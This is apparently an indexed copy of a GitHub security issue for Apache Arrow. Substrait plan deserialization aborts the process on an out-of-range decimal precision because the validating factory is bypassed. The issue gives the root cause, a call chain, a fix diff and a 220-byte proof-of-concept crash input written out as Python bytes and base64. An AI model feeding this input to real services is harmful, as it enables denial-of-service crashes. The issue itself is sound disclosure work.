apache / apache/arrow

Apache Arrow Substrait `DeserializePlan` fatal `ARROW_CHECK` abort on out-of-range decimal precision (`Decimal128Type` ctor via `FromProtoImpl` make_shared bypass)

Open Beginner friendly
#50,230 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
17.1k
Forks
4.3k
Avg merge
3d 13h
Merged PRs (30d)
88

Description

## Summary

A 220-byte Substrait `Plan` describing a decimal type with precision outside
`[1, 38]` (the PoC uses 42) fed to the public `arrow::engine::DeserializePlan`
API aborts the process. `FromProtoImpl` constructs the type via
`make_shared`, bypassing the validating `Decimal128Type::Make()` factory, so the
constructor's `ARROW_CHECK_OK(ValidateDecimalPrecision(...))` fires a fatal abort
instead of returning `Status::Invalid`. Any service that deserializes an
untrusted Substrait plan can be crashed (denial of service).

Tested at pinned commit `16fe34250a2ef261790b9cc414fdf0831669cf9f`
(25.0.0-SNAPSHOT).

## Root Cause

Arrow's Substrait type converter maps a `substrait::Type::Decimal` to an
`arrow::Decimal128Type` through the generic helper `FromProtoImpl`,
which calls `std::make_shared(precision, scale)` directly — i.e.
it invokes the **constructor**, not the validating factory `Decimal128Type::Make()`.

`Decimal128Type::Make()` validates the precision and returns
`Status::Invalid("Decimal precision out of range [1, 38]: ...")` on bad input.
The constructor, by contrast, asserts: `ARROW_CHECK_OK(ValidateDecimalPrecision(...))`
is a *fatal* check that calls `std::abort()` (via `ArrowLog` / `CerrLog::~CerrLog`)
when validation fails. Because the Substrait `decimal.precision()` is an
attacker-controlled `int32` taken straight from the protobuf, any value outside
`[1, 38]` aborts the process.

Vulnerable code — the bypass (`cpp/src/arrow/engine/substrait/type_internal.cc:55-61, 171-175`):

```cpp
template
Result, bool>> FromProtoImpl(const TypeMessage& type,
A&&... args) {
return std::make_pair(std::static_pointer_cast(
std::make_shared(std::forward(args)...)),
IsNullable(type));
}
...
case substrait::Type::kDecimal: {
const auto& decimal = type.decimal();
return FromProtoImpl(decimal, decimal.precision(), decimal.scale());
}
```

Vulnerable code — the fatal check (`cpp/src/arrow/type.cc:1520-1523`):

```cpp
Decimal128Type::Decimal128Type(int32_t precision, int32_t scale)
: DecimalType(type_id, 16, precision, scale) {
ARROW_CHECK_OK(ValidateDecimalPrecision(precision)); // fatal abort
}
```

`Decimal128Type::Make()` (immediately below the constructor) is the non-fatal
path that returns `Status::Invalid` for the same condition; the Substrait
converter does not use it.

Call chain (`DeserializePlan` -> decimal field):

```
arrow::engine::DeserializePlan serde.cc:229 (public API)
-> FromProto(Rel) relation_internal.cc:400
-> FromProto(NamedStruct) type_internal.cc:523
-> FieldsFromProto type_internal.cc:93
-> FromProto(Type) type_internal.cc:174
-> FromProtoImpl type_internal.cc:59 // make_shared, bypasses Make()
-> Decimal128Type::Decimal128Type type.cc:1522 // ARROW_CHECK_OK -> abort
```

## PoC

220 bytes — a `Plan` whose `NamedStruct` declares a decimal field with
`precision = 42` (outside `[1, 38]`). The byte sequence `c2 01 04 08 02 10 2a`
encodes `substrait.Type.decimal` (field 24) with `precision` (field 2) = `0x2a`
= 42.

```python
# generate_poc.py — re-create the crash input from bytes
poc = (b'\x1a\xcc\x01\n\xc9\x01\n\xc6\x01\x12\xbe\x01\n\x02c0\n\x02c1\n\x02c2'
b'\n\x02c3\n\x02c4\n\x02c5\n\x02c6\n\x02c7\n\x02c8\n\x02c9\n\x03c10'
b'\n\x03c11\n\x03c12\n\x03c13\n\x03c14\n\x03c15\n\x03c16\n\x03c17'
b'\x12l\n\x02\n\x00\n\x02\x12\x00\n\x02\x1a\x00\n\x02*\x00\n\x02:\x00'
b'\n\x02R\x00\n\x02Z\x00\n\x02b\x00\n\x02j\x00\n\x02r\x00\n\x03\x82'
b'\x01\x00\n\x03\x8a\x01\x00\n\x07\xc2\x01\x04\x08\x02\x10*\n\x05\xaa'
b'\x01\x02\x08\x04\n\x05\xb2\x01\x02\x08\x08\n\x07\xda\x01\x04\n\x02:'
b'\x00\n\x0b\xe2\x01\x08\n\x02b\x00\x12\x02:\x00\n\x0b\xca\x01\x08\n'
b'\x02*\x00\n\x02b\x00:\x03\n\x01t2\x0b\x10,*\x07o2-seed')
open("poc.bin", "wb").write(poc)
```

Crash input size: 220 bytes (`poc/poc.bin`, md5 `b2ae2aac5e277e07f5ea16901e088b4a`).

## Reproduction

Build Arrow C++ from source with `-DARROW_SUBSTRAIT=ON` and AddressSanitizer, then deserialize the
attached Substrait plan through the public API:

```cpp
#include
// auto buf = ...read poc.bin...;
auto result = arrow::engine::DeserializePlan(*buf); // fatal ARROW_CHECK abort here
```

The decimal type converter `FromProtoImpl` builds the type via
`std::make_shared(precision, scale)`, bypassing the validating `Decimal128Type::Make()`
factory; the ctor's `ARROW_CHECK_OK(ValidateDecimalPrecision(...))` aborts on precision 42 (outside [1,38]):

```
type.cc: Check failed: _s.ok() ... Decimal precision out of range [1, 38]: 42
```

`make_shared<...>` bypass is still present in current `master` (`cpp/src/arrow/engine/substrait/type_internal.cc:59`).
PoC: 220 bytes (recreate from the base64 below).

## Suggested Fix

Route the decimal conversion through the validating factory
`Decimal128Type::Make()` (which returns `Status::Invalid` on out-of-range
precision) instead of constructing via `make_shared`:

```diff
--- a/cpp/src/arrow/engine/substrait/type_internal.cc
+++ b/cpp/src/arrow/engine/substrait/type_internal.cc
@@
case substrait::Type::kDecimal: {
const auto& decimal = type.decimal();
- return FromProtoImpl(decimal, decimal.precision(), decimal.scale());
+ ARROW_ASSIGN_OR_RAISE(
+ auto dtype, Decimal128Type::Make(decimal.precision(), decimal.scale()));
+ return std::make_pair(std::move(dtype), IsNullable(decimal));
}
```

This propagates a non-OK `Status` out of `DeserializePlan` on malformed precision
rather than aborting. Other `FromProtoImpl<...>` arms that wrap constructors with
fatal checks deserve the same audit, but only the decimal path is reproduced here.

## PoC bytes (self-contained)

The trigger input is **220 bytes** (`poc/poc.bin`).
Recreate it exactly with:

```bash
base64 -d > poc.bin <<'B64'
GswBCskBCsYBEr4BCgJjMAoCYzEKAmMyCgJjMwoCYzQKAmM1CgJjNgoCYzcKAmM4CgJjOQoDYzEwCgNjMTEKA2MxMgoDYzEzCgNj
MTQKA2MxNQoDYzE2CgNjMTcSbAoCCgAKAhIACgIaAAoCKgAKAjoACgJSAAoCWgAKAmIACgJqAAoCcgAKA4IBAAoDigEACgfCAQQI
AhAqCgWqAQIIBAoFsgECCAgKB9oBBAoCOgAKC+IBCAoCYgASAjoACgvKAQgKAioACgJiADoDCgF0MgsQLCoHbzItc2VlZA==
B64
```

## Credit

Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).

Contributor guide

Open the contributing guide

Research direction

Start in cpp/src/arrow/engine/substrait/type_internal.cc at the Decimal128 conversion and compare it with Decimal128Type::Make() in cpp/src/arrow/type.cc; use DeserializePlan and the provided 220-byte PoC to reproduce the abort. Done means malformed decimal precision returns a non-OK Status instead of terminating the process.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
api, security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
74/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.